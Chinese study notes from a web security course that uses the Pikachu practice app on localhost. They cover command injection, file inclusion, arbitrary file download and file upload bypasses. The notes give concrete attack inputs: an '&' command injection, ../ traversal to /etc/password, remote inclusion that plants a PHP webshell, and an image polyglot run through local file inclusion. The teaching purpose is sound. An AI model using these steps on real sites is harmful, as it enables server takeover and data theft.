37.6-1 远程命令、代码执行漏洞原理及案例演示(Av96582332,P37)
RCE(remote command/code execute)概述
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
你可以通过“RCE”对应的测试栏目,来进一步的了解该漏洞
38.7-1 文件包含原理及本地文件包含漏洞案例演示(Av96582332,P38)
通过拼接符号,执行其他命令
127.0.0.1
Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=64
Reply from 127.0.0.1: bytes=32 time<1ms TTL=64
Reply from 127.0.0.1: bytes=32 time<1ms TTL=64
Reply from 127.0.0.1: bytes=32 time<1ms TTL=64
Ping statistics for 127.0.0.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
127.0.0.1 & ifconfig
自己好像没成功和上面一样
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
$ip=$_POST['ipaddress'];
// $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
if(stristr(php_uname('s'), 'windows')){
// var_dump(php_uname('s'));
$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
}else {
$result.=shell_exec('ping -c 4 '.$ip);
}
}
在exec eval页面
phpinfo();
if(isset($_POST['submit']) && $_POST['txt'] != null){
if(@!eval($_POST['txt'])){
$html.="
你喜欢的字符还挺奇怪的!
";
38.7-1 文件包含原理及本地文件包含漏洞案例演示(Av96582332,P38)
球员照片文件是后台的,而文件名是前端传到后台的,因此可以修改传入的文件名
猜测是linux系统,文件改成后台配置文件(有很多)
127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=Submit+Query
127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=../../文件名&submit=Submit+Query
加多个 ../ 到根目录
演示是../../../../../../../etc/password
127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=../../../README.md&submit=Submit+Query
自己windos测试,打开了附带的md文件
127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=../../../1.txt&submit=Submit+Query
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";//变量传进来直接包含,没做任何的安全限制
// //安全的写法,使用白名单,严格指定包含的文件名
// if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
// include "include/$filename";
// }
39.7-2 远程文件包含漏洞案例讲解和演示(Av96582332,P39)
127.0.0.1:4431/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=Submit+Query
原始url
127.0.0.1:4431/pikachu/test/yijuhua.txt
访问的是以下文件内容
/**
* Created by runner.han
* There is nothing new under the sun
*/
$myfile = fopen("yijuhua.php","w");
$txt = '';
fwrite($myfile,$txt);
fclose($myfile);
?>
127.0.0.1:4431/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1:4431/pikachu/test/yijuhua.txt&submit=Submit+Query
把filename后面的路径改为远端路径
本地文件包含漏洞,利用有限,只能用本地文件,还要猜到路径,危害低;远程包含函数,可以读远程站点上的文件,可以自己搭,写需要的东西来加载控制
127.0.0.1:4431/pikachu/vul/fileinclude/yijuhua.php?x=ifconfig
前面在本地执行后,就会生成一句话木马,只要给x传系统命令
使用前,得知道一句话目录的位置,一般跟当前php页面在同一级下
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "$filename";//变量传进来直接包含,没做任何的安全限制
40.7-3 文件包含漏洞防范措施(Av96582332,P40)
41.8-1 不安全的文件下载原理和案例演示(Av96582332,P41)
控制不严格,可下载任意文件
网页下载图片,是在后面传参 filename=kb.png
可以用目录遍历测这个漏洞
../ 目录跳转,敲的足够多,可以到根目录,再一级一级往下读取
linux下面很多文件都是固定的
etc/password
etc/fstab 磁盘挂载配置文件
$file_path="download/{$_GET['filename']}";
//用以解决中文不能显示出来的问题
$file_path=iconv("utf-8","gb2312",$file_path);
//首先要判断给定的文件存在与否
if(!file_exists($file_path)){
skip("你要下载的文件不存在,请重新下载", 'unsafe_down.php');
return ;
}
$fp=fopen($file_path,"rb");
$file_size=filesize($file_path);
//下载文件需要用到的头
ob_clean();//输出前一定要clean一下,否则图片打不开
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($file_path));
$buffer=1024;
$file_count=0;
//向浏览器返回数据
//循环读取文件流,然后返回到浏览器feof确认是否到EOF
while(!feof($fp) && $file_count<$file_size){
$file_con=fread($fp,$buffer);
$file_count+=$buffer;
echo $file_con;
}
fclose($fp);
?>
42.8-2 不安全的文件上传原理及客户端绕过案例(Av96582332,P42)
client check 前端弹框不能上传
看网页源码,之前xss已讲,前端限制操作只能辅助,不能起到实际的作用,很容易控制台删改绕过
删掉这部分
上传一句话木马文件system.php
实际情况,可能不知道上传的目录,想办法判断位置,最终访问它
实际上传位置
D:\Program Files\xampp\htdocs\pikachu\vul\unsafeupload\uploads
初始页面
127.0.0.1:4431/pikachu/vul/unsafeupload/clientcheck.php
127.0.0.1:4431/pikachu/vul/unsafeupload/system.php?x=ifconfig
42.8-2 不安全的文件上传原理及客户端绕过案例(Av96582332,P42)
if(isset($_POST['submit'])){
// var_dump($_FILES);
$mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。
$save_path='uploads';//指定在当前目录建立一个目录
$upload=upload_sick('uploadfile',$mime,$save_path);//调用函数
if($upload['return']){
$html.="
文件上传成功
文件保存的路径为:{$upload['new_path']}
";}else{
$html.="
{$upload['error']}
";}
}
问题出在$_file(全局方法)获取文件类型,再与定义好的mime类型比较,是从游览器http头获取content-type,这个前端用户可以控制绕过
44.8-4 文件上传之getimagesize绕过案例和防范措施(Av96582332,P44)
是读取文件16进制内容头字符串
linux下 xxd读目标文件16进制
xxd abc.png 1head -n 1
windos下
进cmd,dir看目录文件
copy /b 1.png + phpinfo.php a.png
linux xxd a.png
头部正常,尾部加了恶意代码
初始网页
127.0.0.1:4431/pikachu/vul/unsafeupload/getimagesize.php
文件上传成功
文件路径非常重要
文件保存的路径为:uploads/2020/04/16/5569195e98707823cee611568981.png
更具体的路径是
unsafeupload/uploads/2020/04/16/5569195e98707823cee611568981.png
绿色的部分需要猜测,或暴力破解得到
127.0.0.1:4431/pikachu/vul/unsafeupload/uploads/2020/04/16/5569195e98707823cee611568981.png
直接路径访问是看到图片是,里面的代码不会执行
127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=Submit+Query
切换到,文件本地包含页面,绿色部分是需要改成图片的相对路径,粉色的部分也要带上,不然不会执行
用文件包含上传include函数,以当前为代码点为根节点读取,前面有错误(即使前面是16进制代码),依然会往下继续执行,包括执行写入的php代码。
127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=uploads/2020/04/16/5569195e98707823cee611568981.png&submit=Submit+Query
加../直到与文件上传目录平级
127.0.0.1:4431/pikachu/vul/fileinclude/fi_local.php?filename=../../uploads/2020/04/16/5569195e98707823cee611568981.png&submit=Submit+Query
加了很多../,但这样实现不了,因为fileinclude和unsafeupload是平级,上传图片的uploads文件夹在unsafeupload里面。往上可以,但没有一步一步下到文件夹里面
往上跳两级,刚好与大目录平级(注意是url中是/,windos目录
直接复制是反斜杠\,试了也行)
45.9-1 越权漏洞原理及水平越权案例演示(Av96582332,P45)